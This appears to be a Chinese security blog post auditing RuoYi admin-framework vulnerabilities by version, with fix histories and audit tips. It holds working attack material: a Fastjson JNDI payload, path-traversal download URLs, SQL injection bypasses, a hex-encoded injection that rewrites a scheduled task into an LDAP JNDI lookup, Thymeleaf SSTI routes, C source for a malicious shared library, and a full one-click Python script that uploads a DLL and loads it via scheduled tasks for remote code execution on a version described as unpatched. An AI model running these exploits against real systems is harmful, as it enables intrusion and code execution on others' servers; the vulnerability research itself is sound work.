若依各版本漏洞
1diot9 Lv4

<=4.2.0-Fastjson

这个搞了半天,最终还是没发现能够直接利用的方法,都需要手动开启autotype才行,网上好多文章都没提,挺坑的。另外,甚至连dns探测都用不了,因为键值对是通过hashmap.put的,顺序会乱。

这里的fastjson版本为1.2.60

漏洞发现

直接ctrl+shift+f,搜索parseObject,搜索结果比较少,能一个个看:

img

这里经过排查,com.ruoyi.generator.service.impl.GenTableServiceImpl#validateEdit里的是最好利用的。首先,上一个调用它的直接就是一个路由,意味着调试路径短。其次,路由传入的直接就是genTable,而genTable就是最后json字符串的来源,即我们可以直接控制json字符。

下面看一下两个部分的代码:

img

img

editSave中的genTableService是确定的,因为这个接口只有一个实现类且通过Autowired注解注入。

看下面图片的代码,能发现,我们需要进入if才能触发parseObject。怎么进入呢,这里不妨先发几个包测试一下。路由是/tool/gen/edit,根据含义比较容易找到:

img

对编辑后的结果保存,抓包:

img

能够找到和进入if相关的字段,我们改成tree就可以了。下面那三个参数就决定了json数据,待会儿看。

当然ruoyi前端也可以直接改:

img

改完会字段信息那儿再提交就行。

提交数据包,跟进调试:

img

这三个参数不就是上面数据包的最后一行吗,所以漏洞点就在这里。

漏洞利用

复现的过程中产生了几个问题:

  • autotype不开有什么影响
  • @type不在最前面有关系吗
  • json里键值对的顺序怎么决定

下面会一一解释

1、dns探测

这里用java.net.Inet4Address,java.net.URL在1.2.43被ban了。img

img

但是这里有个问题:

img

处理成json后,val会在前面,这样就打不通了。

那为什么会是这样的顺序?我们看一下这个json怎么来的:

img

是通过getParams来的。

Params怎么赋值:

img

params是个普通的HashMap,在我们发起请求时会自动通过hashMap.put赋值,这里面的顺序就是根据hash值排序了,所以我们没法直接控制。LinkedHashMap的话,顺序就可以控制了。

解决完json顺序的问题,再看看为什么val在前就不行。

当val在前时,val先会被当成普通数据处理,然后再处理@type,但是这样@type就没有参数了,所以会调用newInstance新建实例,可是Inet4Address没有public的无参构造,所以会报错,在这里抛出:

img

这里强烈建议跟一遍调试,把json字符串到底是怎么处理的过一遍,在这里断点:

img

把lexer的ch添加到监视,lexer是一个字符扫描器,负责识别json,ch是目前识别的字符:

img

网上查了好久,不如自己跟一遍调试快,有不懂的代码或逻辑问ai就行。

综上,由于我们无法决定键值对顺序,而且val在前也不行,所以没法打dns。

另外,值得一提的是,Inet4Address在不开启autotype的情况下也是能打的,可以走这里进行类加载:

img

这个在后面的版本好像修复了,是1.2.68吗,不能确定。

2、jndi

这里有shiro,可以用shiro里的一个类打jndi

{"@type": "org.apache.shiro.jndi.JndiObjectFactory", "resourceName": "ldap://127.0.0.1:50389/8e9b69"}

但是由于默认不开启autotype,是打不通的。

img

autotype一关,@type就基本没用了(上面那种Inet4的例外)。

这个类在1.2.68才ban,所以这里只是单纯没法加载才抛出:

img

3、其他

由于只能控制键值对内容,故只能使用单层的payload,大括号套大括号是用不了的。

修复

更新fastjson

小结

这个几乎花了一天,对fastjson还是不熟悉。这个漏洞其实限制很多,目前还不知道怎么利用。

参考

主要是fastjson相关的

https://github.com/LeadroyaL/fastjson-blacklist

https://github.com/lemono0/FastJsonParty

<=4.5.0-任意文件下载

这个比较简单:

img

/common/download/resource?resource=/profile/../../flag.txt

为什么要加/profile,自己调试一下就懂了。

之后多注意writeBytes方法,可能会有文件下载的相关漏洞。

修复

加了一个方法:

img

对目录穿越和文件后缀都做了限制。

<=4.7.8-定时任务&任意文件下载

漏洞发现

前面为了防止目录穿越,作者增加了一个方法来过滤../,这样我们就没办法下载规定目录外的文件。然而,在我们刚开始使用/common/download/resource路由时,很可能直接这样写参数?resource=../../flag.txt,然后发现并没有成功下载。调试时一看,发现我们的目录根本没被拼接,只有配置文件里Profile的路径。

那么,如果我们能修改Profile的路径,是不是就能直接指定文件位置,从而绕过过滤了呢?

首先我们看一下Profile是怎么从配置文件到类里的。

我们可以找到一个RouYiConfig类,这个类通过注解与配置文件关联,并且有Component注解,因此它是一个bean,同时我们的profile也在里面:

img

并且,这里还提供了一个方法供你修改profile:

img

所以,现在的目标就是调用setProfile来修改文件下载位置。

漏洞利用

在<=4.7.6时,利用会简单一点

要怎么实现呢,靠定时任务。很多管理后台都会提供定时任务的功能,但是往往欠缺防护,会导致执行一些恶意任务。

看一下RuoYI的定时任务要怎么执行:

img

这里的cron表达式代表每5分钟执行一次,cron表达式可以去网上自己看一下。

关键就在这里的调用目标字符串。我们先尝试直接用全限定名加方法的形式调用,发现会报错,说有违规字符串。调试一下发现,不允许出现com.ruoyi.common.config。看来作者是考虑到这点的:

img

但是,我们通过bean方式调用就可以:ruoYIConfig.setProfile(“D:/test.txt”)

在最后一个白名单判断if中,只要bean是在com.ruoyi包中就都可以:

img

因此我们的ruoYIConfig.setProfile(“D:/test.txt”)也可以。

设定好后,在任务状态处打开任务,然后再去/common/download/resource?resource=any.txt下请求,就能下载我们在profile中设置的文件了。

在<=4.7.8时,我们不能直接创建修改Config的定时任务了,但是可以通过sql注入来修改已经创建的合法任务,利用过程差不多,就是加了一个sql注入的过程

修复

加载bean的时候,使用黑白名单。刚刚是只用了白名单com.ruoyi,现在把全限定名调用里的黑名单也加上了:

img

<=4.6.1-SQL注入

漏洞发现

ctrl+shift+f 搜索字符 ${ :

img

发现Mapper.xml中存在使用$ 来注入参数,可能存在拼接问题。

挑选一个审计:

img

解释一下,${params.dataScope}指的是,传入的参数中有一个字段名为params,这个字段可能是HashMap这种键值对,所以可以通过params.dataScope选择具体键值对。

往前找对应的mapper接口:

img

然后找对应的实现:

img

最终找到路由处的用法:

img

这里对应的父路由是/system/dept:

img

/list对应的功能,应该就是列出列表,尝试查询:

img

这样就找到漏洞点了。

漏洞利用

可以使用的字段有com.ruoyi.common.core.domain.entity.SysDept和它的父类com.ruoyi.common.core.domain.BaseEntity

而params就在父类中,是一个hashmap,所以可以这样传参:

img

能实现报错注入。

其他的注入点也有,这里列举一些,寻找方式同上:

/system/role/list

/system/role/export

/system/user/list

/system/user/export

/system/role/authUser/allocatedList

/system/role/authUser/unallocatedList

漏洞修复

commit编号e1cab589f2acf4e835ad5ab310bdbe71f2dd646d,通过织入点的方式,对所有有datascope注解的方法都进行了过滤,因此params相关的注入被修复。

img

4.7.1-4.7.8-SQL注入+绕过

漏洞利用

4.7.1版本开始,增加了一个创建表的功能,可以从这里注入。

路由在/tool/gen/createTable

img

img

这里运行执行一个create操作,并且会直接执行。

所以可以通过create fake_table as select extractvalue(1,database())的方法进行报错注入

在后面的版本,增加了过滤功能:

img

会对常见注入关键字进行过滤。不过StringUtils.indexOfIgnoreCase的匹配原理是,先将value按空格split,再去和keyword一一匹配。所以可以通过select/**/extractvalue的方式绕过,因为这样select和后面的就成为一个整体了。

修复

4.7.6版本开始,不会回显具体报错:

img

但是到4.7.9版本,还是可以使用时间注入。

4.8.0版本,黑名单更加全面:

img

<=4.7.8-定时任务SQL&RCE

漏洞发现

前面学习了若依的SQL注入,但除了从Controller注入,还有一种另外的方式,那就是直接调用Service层的方法。因为所有过滤操作都是在Controller层实现的,所以一旦能直接操纵Service层的方法,那所有过滤操作就形同虚设了,只要Mapper.xml中还是使用${},那我们就可以尝试注入。

正好,若依里给我们提供了定时任务的功能,而且正好没有将sql操作相关的Service类列入黑名单,所以可以直接操作Service方法进行注入,如下图:img

这个方法在上面sql注入绕过中也出现过。

定时任务在设定时,对一些关键词是有过滤的,比如不允许出现ldap,ldaps,rmi等:img

但是有了sql注入,我们就可以先设置合法任务,再修改成非法任务。

漏洞利用

1、任意创建一个定时任务

img

2、创建第二个任务,用于修改第一个任务,由于创建任务调用的目标字符串不允许出现ldap,所以在sql注入时要16进制编码绕过:

1
genTableServiceImpl.createTable("update sys_job set invoke_target=0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a35303338392f6337386433332729 where job_id=100")

javax.naming.InitialContext.lookup(‘ldap://127.0.0.1:50389/c78d33’)

另外,在创建任务时,还有一种绕过方法,就是在所有协议中间加一个单引号。ld’ap,ht’tp,这样就行。

3、运行一下创建的sql注入任务:

img

然后就能发现创建的第一个任务的内容发生变化,变成了ldap任务,执行后即可触发jndi。

修复

这里讲一下定时任务修复的发展史

1、4.7.0之前的版本,只对rmi协议进行了黑名单。下面是4.6.2

img

2、4.7.0对http,https,ldap,ldaps进行了黑名单:

img

3、4.7.1对一些恶意类进行了黑名单:

img

4、4.7.6开始?不确定,增加了黑白名单,先黑名单,再白名单,白名单为com.ruoyi

img

5、4.7.9开始,进一步完善黑名单和白名单:

img

这样sql+RCE的方法就用不了了

但是注意,这里的白名单匹配是包含即可,而不是严格要求匹配,这也为4.8.0的绕过做下铺垫。

<=4.8.1-定时任务绕过&文件上传&JNI

漏洞发现

这里的利用思路还是很巧妙的,先解释一些总体思路。

计划任务创建时,使用了黑名单+白名单。我们无法使用黑名单里的类,但是可以想办法让白名单的范围扩大。白名单原本是com.ruoyi.quartz.task,作者的本意是只能调用这个包里的类。但是,白名单匹配时,使用的是contains,也就是说,只要定时任务里有白名单的字符串就行了。这就给了我们绕过的机会。

Java中有一种JNI机制,可以加载外部的链接库,并加载里面的构造函数。

我们可以上传一个JNI文件,JNI文件名包含com.ruoyi.quartz.task,再通过定时任务更改文件后缀,再通过定时任务调用类去加载JNI文件。由于JNI文件名包含了白名单内容,所以可以绕过白名单,实现RCE。上传后又可以通过定时任务更改文件后缀,这样就可以加载JNI文件了。

现在来看细节。

在白名单过滤时,当包名超过一层时,就会进入全限定名的if,而不是bean的if:

img

这样只需要满足定时任务中包含白名单字符串即可。

定时任务的触发逻辑在com.ruoyi.quartz.util.JobInvokeUtil,里面的getMethodParams用于获取执行参数,具体如下:

img

能够看出,这里能够接受的参数只有:String,boolean,long,double,以及能够被转换成Integer的类。所以在参数方法,我们的选择是是否有限的。

另外,invokeMethod时,我们只能调用public方法:

img

综上,我们的条件是:

1、调用的类及参数不能包含黑名单的字符串

2、调用的类及参数一定要包含白名单的字符串

3、调用的参数类型有限制

4、调用的方法只能是public方法

另外,我们可以进行文件上传:

img

会返回上传的位置:

img

漏洞利用

1、编译c文件,windows编译成dll,mac编译成dylib,linux编译成.so

1
2
3
4
5
#include <stdlib.h>
__attribute__((constructor))
static void run() {
system("calc");
}

gcc -shared -o evil.dll evil.c 需要MinGW

gcc -fPIC -shared -o evil.so evil.c

gcc -dynamiclib -o evil.dylib evil.c

将编译后的文件重命名为:com.ruoyi.quartz.task.dll.txt

2、利用python脚本发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests


url = "http://127.0.0.1:4800/common/upload"
# 准备上传的文件内容
files = {
'file': ('com.ruoyi.quartz.task.dll.txt', open('com.ruoyi.quartz.task.dll.txt', 'rb'))
}

headers = {
'Cookie': 'JSESSIONID=5324115e-f2e1-4021-ab71-fbe64ddfff3e'
}

# 配置代理,HTTP 和 HTTPS 都指向 Burp 的监听地址
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}

resp = requests.post(url, files=files, proxies=proxies, headers=headers)
print(resp.text)

代理部分可以去掉

记录文件路径:

img

这里的路径不完全正确,如果没有重新设置过文件上传路径,windows系统应该在”D:\ruoyi\uploadPath\upload”,后面再拼接日期等。

如果修改过配置文件中的上传路径,就得猜测路径了。

猜测的话可以搭配ch.qos.logback.core.FileAppender.openFile 使用 因为会默认创建一个空文件 猜测前缀即可

ch.qos.logback.core.FileAppender.openFile(‘前缀+/uploadPath/download/com.ruoyi.quartz.task.log’) 之后访问/profile/前缀+/uploadPath/download/com.ruoyi.quartz.task.log 来判断

3、设置定时任务并执行修改文件后缀为dll

ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying(“../../../../../../../../../../../ruoyi/uploadPath/upload/2025/08/01/com.ruoyi.quartz.task.dll_20250801153101A004.txt”,”../../../../../../../../../../../ruoyi/uploadPath/upload/2025/08/01/com.ruoyi.quartz.task.dll_20250801153101A004.dll”)

4、定时任务加载dll文件

com.sun.glass.utils.NativeLibLoader.loadLibrary(“../../../../../../../../../../../ruoyi/uploadPath/upload/2025/08/01/com.ruoyi.quartz.task.dll_20250801153101A004”)

下面是一键python脚本,只适用于windows,且没有更改过默认文件上传路径的情况,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import json

import requests

# 更改为目标url
base_url = "http://127.0.0.1:4810"

# 记得替换cookie
headers = {
'Cookie': 'JSESSIONID=ef41ab5c-d8b4-4802-a8a7-0928c67b91e3;'
}

# 配置代理,HTTP 和 HTTPS 都指向 Burp 的监听地址
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}

def fileUpload():
url = f"{base_url}/common/upload"
file = "com.ruoyi.quartz.task.txt"
# 此dll为windows下弹出计算器,可自行更改,可配合C2
files = {
'file': (f'{file}', open('calc.dll', 'rb'))
}
resp = requests.post(url, files=files, headers=headers)
print(resp.text)
# 自动获取上传后的文件名
fileName_txt = json.loads(resp.text)["fileName"].replace('/profile/', '')
fileName_dll = fileName_txt.replace('.txt', '.dll')
return fileName_txt, fileName_dll


def jobsRemove():
# 删除已存在的任务
burp0_url = f"{base_url}/monitor/job/remove"
burp0_data = {"ids": "114,514"}
resp = requests.post(burp0_url, headers=headers, data=burp0_data)
print("任务删除情况:" + resp.text)


def jobExtensionCreate(fileName_txt, fileName_dll):
burp0_url = f"{base_url}/monitor/job/add"
# Windows默认路径情况;若更改过文件上传路径,则需要猜测路径前缀
finalFileName_txt = f"../../../../../../../../../../../../../ruoyi/uploadPath/{fileName_txt}"
finalFileName_dll = f"../../../../../../../../../../../../ruoyi/uploadPath/{fileName_dll}"
burp0_data = {"jobId": "114", "createBy": "admin", "jobName": "ExtensionToDll", "jobGroup": "DEFAULT",
"invokeTarget": f"ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying(\"{finalFileName_txt}\","
f"\"{finalFileName_dll}\")", "cronExpression": "* * * * * ?", "misfirePolicy": "1",
"concurrent": "1", "remark": ''}
resp = requests.post(burp0_url, headers=headers, data=burp0_data)
print("修改扩展名任务创建情况:" + resp.text)
return finalFileName_dll


def jobExtensionRun():
burp0_url = f"{base_url}/monitor/job/run"
# 跟上面的jobId保持一致
burp0_data = {"jobId": "114"}
resp = requests.post(burp0_url, headers=headers, data=burp0_data)
print("修改扩展名任务执行情况:" + resp.text)


def jobJniCreate(finalFileName_dll):
# 去掉扩展名
finalFileName = finalFileName_dll[:len(finalFileName_dll)-4:]
burp0_url = f"{base_url}/monitor/job/add"
burp0_data = {"jobId": "514", "createBy": "admin", "jobName": "JNILoader", "jobGroup": "DEFAULT",
"invokeTarget": f"com.sun.glass.utils.NativeLibLoader.loadLibrary(\"{finalFileName}\")",
"cronExpression": "* * * * * ?", "misfirePolicy": "1", "concurrent": "1", "remark": ''}
resp = requests.post(burp0_url, headers=headers, data=burp0_data)
print("jni任务创建情况:" + resp.text)

def jobJniRun():
burp0_url = f"{base_url}/monitor/job/run"
burp0_data = {"jobId": "514"}
resp = requests.post(burp0_url, headers=headers, data=burp0_data)
print("jni任务运行情况:" + resp.text)

def test():
s = "12345678"
print(s[:len(s)-4:])

if __name__ == "__main__":
# test()
fileNames = fileUpload()
jobsRemove()
finalFileName_dll = jobExtensionCreate(fileNames[0], fileNames[1])
jobExtensionRun()
jobJniCreate(finalFileName_dll)
jobJniRun()

修复

最新的4.8.1版本还未修复。

我感觉把那个JNI加载的类加入定时任务黑名单就好了。同时把白名单改成com.xxx开头。

参考

【安全研究】若依4.8.0版本计划任务RCE研究

<=4.7.1-SSTI

漏洞发现

在进行模板渲染时,对fragment进行了直接拼接,导致可以执行表达式注入:

img

漏洞利用

${T()}不行,T必须与()之间有空格,这是为了绕过thymeleaf组件自带的防护。cacheName不能为空。

直接发包即可:

img

dns也能成功:

img

一共四个路由存在漏洞:

/monitor/cache/getKeys

/monitor/cache/getNames

/monitor/cache/getValue

/demo/form/localrefresh/task

低版本前三个路由可能不存在,第四个路由在4.5.0版本存在,4.2.0版本不存在,中间版本未测试。

存在这个,则前三个路由存在:

img

只要存在:

img

则第四个路由存在。

漏洞修复

thymeleaf 3.0.12版本是存在漏洞的,所以在4.7.2升级成了3.0.15版本,修复了漏洞。

shiro相关

这个先不讲了,之后复习shiro的时候一起归类吧。

总结

SQL注入

1、4.7.8之前/tool/gen/createTable都可以用来update,可以结合定时任务使用。定时任务中的黑名单可以在注入时使用16进制绕过。

2、其他4.7.1–4.7.5和<=4.6.1的可以用来拖库

定时任务

1、可以通过jndi或者jni实现RCE,往往配合SQL注入

2、可以修改配置文件,配合任意文件下载

任意文件下载

1、<=4.7.8都能用,<=4.5.0可以直接用,高版本要配合定时任务

审计原则

1、sql注入,mybatis的可以搜${

2、文件上传,解压缩这种地方多注意,看看目录是否过滤或可控

3、定时任务

4、注意多种漏洞结合

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量